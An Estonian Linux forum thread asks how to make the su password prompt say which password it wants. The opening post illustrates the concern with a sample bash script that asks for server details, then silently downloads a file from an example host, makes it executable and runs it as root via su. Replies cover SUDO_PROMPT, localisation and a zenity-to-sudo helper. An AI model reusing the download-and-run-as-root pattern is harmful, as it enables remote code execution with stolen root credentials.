Autor |
Sõnum |
sips
Pingviini aktivist
Liitunud: 20.05.2006
Postitused: 288
Distributsioon: Arch
|
|
Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti?
Hetkel Archlinux küsib su käsu peale lihtsalt
Password:
Aga kui nt netist tõmmata skript, mis kirjelduse järgi loob ühenduse mingi serveriga, kuid tehelikult on skripti sisuks
Kood: | #!/bin/bash
echo "Server: "
read server
echo "Login name: "
read user
wget –output-document /tmp/pahalane http://example.com/VägaPahalane > /dev/null 2>&1
chmod +x /tmp/pahalane
su -c /tmp/pahalane |
Parem oleks kui su käsu peale küsitakse nt
Enter your local root password:
|
|
|
|
_________________ PS! Vanaisale ei saa Linuxit peale lasta.
|
|
|
|
Valdur55
Vana Pingviin
Vanus: 30
Liitunud: 02.06.2007
Postitused: 640
Asukoht: Tartu
Distributsioon: *buntu
|
|
Enamasti on käivitatavate rakenduste otseteed kasutas /usr/bin (tavakasutaja) või /usr/sbin (root).
Edasi mõtled ise.
|
|
|
|
|
|
|
|
sips
Pingviini aktivist
Liitunud: 20.05.2006
Postitused: 288
Distributsioon: Arch
|
|
Mis vahet seal on, kui käivitatav fail ise on kõigile kättesaadavas kohas?
|
|
|
|
_________________ PS! Vanaisale ei saa Linuxit peale lasta.
|
|
|
|
tramm
Vana Pingviin
Liitunud: 03.11.2008
Postitused: 900
Distributsioon: *buntu
|
|
sips kirjutas: | Kas ja kuidas oleks võmalik muuta nn su salasõna pärimise prompti? |
Lokaliseerid po failiga? Kompileerid ise ja muudad stringi ära?
sips kirjutas: | su -c /tmp/pahalane |
Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik.
|
|
|
|
|
|
|
|
sips
Pingviini aktivist
Liitunud: 20.05.2006
Postitused: 288
Distributsioon: Arch
|
|
tramm kirjutas: | Ah, et mängitakse sellele kaardile, et sul on igas serveris sama parool... Päris õpetlik. |
tundub, et pikk tööpäev on ajud sassi keeranud - loogika lonkab. Tegelt tahtsin oma arust kirjutada mingi näite, kus küsitakse parooli ja tehakse hoopis midagi muud.
Aga see .po failidega jändamine ja kompileerimine pole päris see.
Lihtsalt mure tekkis sellest, et nii sudo, kui ka su küsivad mõlemad lihtsalt
Password:
katsu siis aru saada mida sult tahetakse.
OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk"
|
|
|
|
_________________ PS! Vanaisale ei saa Linuxit peale lasta.
|
|
|
|
tramm
Vana Pingviin
Liitunud: 03.11.2008
Postitused: 900
Distributsioon: *buntu
|
|
sips kirjutas: | OK sudo'ga on lihtne:$ SUDO_PROMPT="sudo tahab kasutaja %u salasõna: " sudo ls
Lootsin, et su puhul on ka mingi sarnane lihtne "trikk" |
Arusaadav. Aga pahalasel pole keeruline ka vajadusel SUDO_PROMPT muutujat sättida.
|
|
|
|
|
|
|
|
sips
Pingviini aktivist
Liitunud: 20.05.2006
Postitused: 288
Distributsioon: Arch
|
|
Seda muidugi.
Soov oli, et ausad skriptid väljendaks selgemini millist salasõna nad tahavad.
Archlinuxil nt on selleine programm nagu yaourt, mis oskab kasutada nii su'd, kui ka sudo'd -
kui sudo parool nö aegub (ei sisestata, kuna kedagi pole masina juures) või pole sudo üldse installitud,
kasutatakse su'd, kuid mõlemal juhul on ekraanil lihtsalt
Password:
Jama on rohkem selles, et markeerida ei tahaks mitte tavakasutaja parooli küsimist,
vaid et root'u parooli pärimine oleks selgelt näha.
|
|
|
|
_________________ PS! Vanaisale ei saa Linuxit peale lasta.
|
|
|
|
tris
Troll - ära toida!
Liitunud: 23.08.2014
Postitused: 713
Distributsioon: Debian
|
|
1. sudoers määrata, mida sul admin.konto võimaldab:
yourusername ALL= NOPASSWD: /programmi_täpne_asukoht
2. mingi programmi luua:
Kood: |
#!/bin/bash
ENTRY=`zenity --password`
case $? in
0)
pw=$(echo $ENTRY | cut -d'|' -f1)
;;
1)
echo "Stop login.";;
-1)
echo "An unexpected error has occurred.";;
esac
TMP=$(echo "${pw}" | sudo -Sv)
TMP=0
|
Võibolla midagi siin mudida?
Ja su kohta - ma muutsin /bin/su õigus endal ainult juur saab käivitada ja grupp. Ning käivitan seda ainult: sudo su
|
|
|
|
_________________ ricochet:yckka6zlbxv767lz
|
|
|
|
|